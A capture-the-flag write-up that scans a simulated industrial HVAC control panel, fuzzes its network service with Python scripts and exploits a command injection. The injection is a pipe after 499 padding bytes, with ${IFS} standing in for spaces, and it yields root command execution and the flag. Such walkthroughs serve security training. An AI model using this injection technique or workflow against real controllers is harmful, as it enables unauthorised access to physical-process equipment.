PLC Hack (gold, 200p)

You have found programmable logic controller (PLC's) IP address.
Can You manage to get access?
I've heard a lot of stories there are very critical vulnerabilities and they shouldn't be too hard to exploit.
You found very interesting IP address. Looks like access panel to some logic controller. Try to break it's security.
10.XX.32.132

solution

Running a masscan on target reveals that only a single port is open - 63513/tcp.

# masscan -p1-65535,U:1-65535 10.XX.32.132 --rate=1000
Discovered open port 63513/tcp on 10.XX.32.132

Connecting to service greets with "Industrial PLC - HVAC Control Panel". Only command it allows is quit.

$ nc 10.XX.32.132 63513

*****************************************

Industrial PLC - HVAC Control Panel

Authorized access only!

*****************************************

-> Type 'help' to see commands

-> To quit just type 'quit'.
help
Not permitted (command access disabled) - log in via physical console: . 'help'  .
quit

Manually testing various injections did not lead to anything. Create a helper script fuzz.py for further testing. The script read lines from stdin, truncates them if specific length is specified as first argument, and alerts if different answer from server is received.

#!/usr/bin/env python3
import sys, socket

while True:
        line = sys.stdin.buffer.readline()
        if not line:
                sys.exit(0)
        if len(sys.argv) == 2:
                line = line[:int(sys.argv[1])]
        line = line.strip()
        if line[:-1] != '\n':
                line += b'\n'
        if line == '\n' or line == b'quit\n':
                continue
        s = socket.socket()
        s.connect(('10.XX.32.132', 63513))
        s.recv(4096)
        s.send(line)
        s.settimeout(1)
        try:
                d = s.recv(4096)
        except:
                continue
        if d and not d.startswith(b"Not permitted (command access disabled) - log in via physical console:"):
                print('response', d)
                print('input', line)

Running the scripts with various injection lists, e.g., command-injection-commix.txt did not lead to anything.

$ cat /usr/share/seclists/Fuzzing/command-injection-commix.txt | python3 pwn.py

But providing various sizes of junk from /dev/urandom, a larger one did yield some results and server spits out "Overflow in function argument dumping stack trace".

$ cat /dev/urandom | python3 pwn.py 8
^C
$ cat /dev/urandom | python3 pwn.py 16
^C
$ cat /dev/urandom | python3 pwn.py 32
^C
$ cat /dev/urandom | python3 pwn.py 64
^C
$ cat /dev/urandom | python3 pwn.py 128
^C
$ cat /dev/urandom | python3 pwn.py 256
^C
$ cat /dev/urandom | python3 pwn.py 512
response b"Overflow in function argument dumping stack trace: ' .  . '\n"
input b"6\xc4\xaa\x9bVS\x9b\x99bnD\xf1\xf0\xf4\x895\xe6\x16\xb1as\xa7]\xf4\xe9\xc3\xa2\xe1\x0cwT\x8d,\x12\xa0\xdd\xbalBk\xd7\x086\x91\xf50\xd0\xbcfV\x94\xcaK\x10\\euC\xd1{h\xd1\x95\x85!{\xb6v\x11|WR\xc1H\xdc\x80\xe5{\x83H\x9cPh]\x1a6\xbbq\x8c\x14y\xaf\xff\x93\xc8\x06\x01\xa6\xa0\x83\xb1\xe7\x82\xd1|S\x18\xd6\xc7\xa1\x1b\x87\xdd,\x01\x98\xe7d\x00{3S\x06k\x11\x86\xde\xd1\xc86r\x04%\xbbyZ\x0f\x04J\xdf\x8ev\xfbN\xa7\x94\x93\x9dl\xc7o\xf1l\x9e\x1b\x97\xfb\xef\x8a\x9a\x04u\xb2b\xd0S\xdaPd\x82\xe2f\xdb\x0e\x9f\xa17e\x80\xeck\xc2\xa8\xbdC\xde\x8b<HY\x00\xf9NR\x03\xe9\x030<\x0e\x94)H\x07#>4\xa5\xc9\x0b\x11\xa90\xf4\xbc\xaad\xf9\xbd\xd2h\x04\xf3A\x1d`\xe7r\x98\xa2\xe1\t>\xbd\x92w\x0b!\xf3\xd4v9\x8em\xfbM\x12e\xfc\xf4\xc9\x03\x10\x03\xe4\xd4\xe2G\xf3|\tI\xe3\xc2\xd4\x94\x8f\xfe\xbbBH\x131\x8br;\xfd\xe7r`\xee\x15\xedv\x86\x0c\x98 \xd4o=\x01v\x94&?S\x0ecg\x1e!\xf5\x9c1\xa5\xb4\xd4\xe7\x90\xb9\x0b\x7f\x9e\x96\xba\xcd\xe4\xe1\x92\x81EQ\xd9Y\x99\x82-'Z\xb5\xff\x14U\x03]\xee\xbd{\x11\xffx@\xb0\xd7{/T\xefp\x0fF\xbe\xda\x18\x10\xa1k=\x98\xf9\x1b\x03\xb7\xd2 \xa0\xd9\xe7\xcd:\x87\x8d'Lm#\x1b\xfcU\x06\xd5\xba\x8e\x95\xad\xbf\xde\xa3\xd3\xe0\xc8\x0e\xb1\xdf\xbc\x14_\xa53a\x0eH\xfdoQ\x9bN\x87\xf8\xaa\x19b\xd1\x93\\\x90\x14\xf8%\xa2z\x1ay\xfcq\xf0\xd7R\xe6%\x9d\xa0z\xed\xf6\xc33?\xe288Bs\xfaLEp\xb5\xd2\xc6cZ\x01E\x886\x7f\xd0\xe0B\xedV\xcc{[\xadU\xb1o\x1e\xe0\x9c3\xfe-;\xec\xbc\xa2\x086\x98W\xae\x80\xd8\xc2\x0b\xd6\xf6\x1eg\xab-\x11\x9c0\x00C\x0f\x13\xad?\xf1U\xac\xf1(\x15\r\xcb\n"
^C

Reproducing this payload (sending it again) works, the same message about overflow is returned.

$ cat payload.py
#!/usr/bin/env python3
import sys, socket

x = b"6\xc4\xaa\x9bVS\x9b\x99bnD\xf1\xf0\xf4\x895\xe6\x16\xb1as\xa7]\xf4\xe9\xc3\xa2\xe1\x0cwT\x8d,\x12\xa0\xdd\xbalBk\xd7\x086\x91\xf50\xd0\xbcfV\x94\xcaK\x10\\euC\xd1{h\xd1\x95\x85!{\xb6v\x11|WR\xc1H\xdc\x80\xe5{\x83H\x9cPh]\x1a6\xbbq\x8c\x14y\xaf\xff\x93\xc8\x06\x01\xa6\xa0\x83\xb1\xe7\x82\xd1|S\x18\xd6\xc7\xa1\x1b\x87\xdd,\x01\x98\xe7d\x00{3S\x06k\x11\x86\xde\xd1\xc86r\x04%\xbbyZ\x0f\x04J\xdf\x8ev\xfbN\xa7\x94\x93\x9dl\xc7o\xf1l\x9e\x1b\x97\xfb\xef\x8a\x9a\x04u\xb2b\xd0S\xdaPd\x82\xe2f\xdb\x0e\x9f\xa17e\x80\xeck\xc2\xa8\xbdC\xde\x8b<HY\x00\xf9NR\x03\xe9\x030<\x0e\x94)H\x07#>4\xa5\xc9\x0b\x11\xa90\xf4\xbc\xaad\xf9\xbd\xd2h\x04\xf3A\x1d`\xe7r\x98\xa2\xe1\t>\xbd\x92w\x0b!\xf3\xd4v9\x8em\xfbM\x12e\xfc\xf4\xc9\x03\x10\x03\xe4\xd4\xe2G\xf3|\tI\xe3\xc2\xd4\x94\x8f\xfe\xbbBH\x131\x8br;\xfd\xe7r`\xee\x15\xedv\x86\x0c\x98 \xd4o=\x01v\x94&?S\x0ecg\x1e!\xf5\x9c1\xa5\xb4\xd4\xe7\x90\xb9\x0b\x7f\x9e\x96\xba\xcd\xe4\xe1\x92\x81EQ\xd9Y\x99\x82-'Z\xb5\xff\x14U\x03]\xee\xbd{\x11\xffx@\xb0\xd7{/T\xefp\x0fF\xbe\xda\x18\x10\xa1k=\x98\xf9\x1b\x03\xb7\xd2 \xa0\xd9\xe7\xcd:\x87\x8d'Lm#\x1b\xfcU\x06\xd5\xba\x8e\x95\xad\xbf\xde\xa3\xd3\xe0\xc8\x0e\xb1\xdf\xbc\x14_\xa53a\x0eH\xfdoQ\x9bN\x87\xf8\xaa\x19b\xd1\x93\\\x90\x14\xf8%\xa2z\x1ay\xfcq\xf0\xd7R\xe6%\x9d\xa0z\xed\xf6\xc33?\xe288Bs\xfaLEp\xb5\xd2\xc6cZ\x01E\x886\x7f\xd0\xe0B\xedV\xcc{[\xadU\xb1o\x1e\xe0\x9c3\xfe-;\xec\xbc\xa2\x086\x98W\xae\x80\xd8\xc2\x0b\xd6\xf6\x1eg\xab-\x11\x9c0\x00C\x0f\x13\xad?\xf1U\xac\xf1(\x15\r\xcb\n"

s = socket.socket()
s.connect(('10.XX.32.132', 63513))
s.recv(4096)
s.send(x)
r = s.recv(4096)
print(r)
$ python3 payload.py
b"Overflow in function argument dumping stack trace: ' .  . '\n"

Trying to simplify payload, turns out only a | character is required for "overflow" to occur.

$ cat payload2.py
#!/usr/bin/env python3
import socket

x = b"6\xc4\xaa\x9bVS\x9b\x99bnD\xf1\xf0\xf4\x895\xe6\x16\xb1as\xa7]\xf4\xe9\xc3\xa2\xe1\x0cwT\x8d,\x12\xa0\xdd\xbalBk\xd7\x086\x91\xf50\xd0\xbcfV\x94\xcaK\x10\\euC\xd1{h\xd1\x95\x85!{\xb6v\x11|WR\xc1H\xdc\x80\xe5{\x83H\x9cPh]\x1a6\xbbq\x8c\x14y\xaf\xff\x93\xc8\x06\x01\xa6\xa0\x83\xb1\xe7\x82\xd1|S\x18\xd6\xc7\xa1\x1b\x87\xdd,\x01\x98\xe7d\x00{3S\x06k\x11\x86\xde\xd1\xc86r\x04%\xbbyZ\x0f\x04J\xdf\x8ev\xfbN\xa7\x94\x93\x9dl\xc7o\xf1l\x9e\x1b\x97\xfb\xef\x8a\x9a\x04u\xb2b\xd0S\xdaPd\x82\xe2f\xdb\x0e\x9f\xa17e\x80\xeck\xc2\xa8\xbdC\xde\x8b<HY\x00\xf9NR\x03\xe9\x030<\x0e\x94)H\x07#>4\xa5\xc9\x0b\x11\xa90\xf4\xbc\xaad\xf9\xbd\xd2h\x04\xf3A\x1d`\xe7r\x98\xa2\xe1\t>\xbd\x92w\x0b!\xf3\xd4v9\x8em\xfbM\x12e\xfc\xf4\xc9\x03\x10\x03\xe4\xd4\xe2G\xf3|\tI\xe3\xc2\xd4\x94\x8f\xfe\xbbBH\x131\x8br;\xfd\xe7r`\xee\x15\xedv\x86\x0c\x98 \xd4o=\x01v\x94&?S\x0ecg\x1e!\xf5\x9c1\xa5\xb4\xd4\xe7\x90\xb9\x0b\x7f\x9e\x96\xba\xcd\xe4\xe1\x92\x81EQ\xd9Y\x99\x82-'Z\xb5\xff\x14U\x03]\xee\xbd{\x11\xffx@\xb0\xd7{/T\xefp\x0fF\xbe\xda\x18\x10\xa1k=\x98\xf9\x1b\x03\xb7\xd2 \xa0\xd9\xe7\xcd:\x87\x8d'Lm#\x1b\xfcU\x06\xd5\xba\x8e\x95\xad\xbf\xde\xa3\xd3\xe0\xc8\x0e\xb1\xdf\xbc\x14_\xa53a\x0eH\xfdoQ\x9bN\x87\xf8\xaa\x19b\xd1\x93\\\x90\x14\xf8%\xa2z\x1ay\xfcq\xf0\xd7R\xe6%\x9d\xa0z\xed\xf6\xc33?\xe288Bs\xfaLEp\xb5\xd2\xc6cZ\x01E\x886\x7f\xd0\xe0B\xedV\xcc{[\xadU\xb1o\x1e\xe0\x9c3\xfe-;\xec\xbc\xa2\x086\x98W\xae\x80\xd8\xc2\x0b\xd6\xf6\x1eg\xab-\x11\x9c0\x00C\x0f\x13\xad?\xf1U\xac\xf1(\x15\r\xcb\n"

for i in range(len(x)-1):
        x2 = x[:i] + b'A' + x[i+1:]
        while True:
                try:
                        s = socket.socket()
                        s.connect(('127.0.0.1', 63513))
                        s.recv(4096)
                        s.send(x2)
                        r = s.recv(4096)
                        if not r.startswith(b'Not permitted'):
                                x = x2
                        break
                except:
                        pass
print(x)
$ python3 payload2.py
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'

Simplifying payload even more results in these conditions: character | must be present and payload must be at least 500 bytes in length. Existence of character | looks like a command injection and trying a simple id command verifies it.

$ python3 -c 'print("A"*499 + "|id\nquit")' | nc 10.XX.32.132 63513

*****************************************

Industrial PLC - HVAC Control Panel

Authorized access only!

*****************************************

-> Type 'help' to see commands

-> To quit just type 'quit'.
Overflow in function argument dumping stack trace: ' . uid=0(root) gid=0(root) groups=0(root)
  . '

Note: as it is not know how space character in commands is processed, to be safe, it can be replaced with ${IFS} (special shell variable).

Searching for flag yields its location in /etc/apt/flag.txt.

$ python3 -c 'print("A"*499 + "|find${IFS}/${IFS}-name${IFS}flag.txt\nquit")' | nc 10.XX.32.132 63513

*****************************************

Industrial PLC - HVAC Control Panel

Authorized access only!

*****************************************

-> Type 'help' to see commands

-> To quit just type 'quit'.
Overflow in function argument dumping stack trace: ' . /etc/apt/flag.txt
  . '

Retrieve the flag.

$ python3 -c 'print("A"*499 + "|cat${IFS}/etc/apt/flag.txt\nquit")' | nc 10.XX.32.132 63513

*****************************************

Industrial PLC - HVAC Control Panel

Authorized access only!

*****************************************

-> Type 'help' to see commands

-> To quit just type 'quit'.
Overflow in function argument dumping stack trace: ' . Flag: 1803426680ae67478a521bbb133750ae
  . '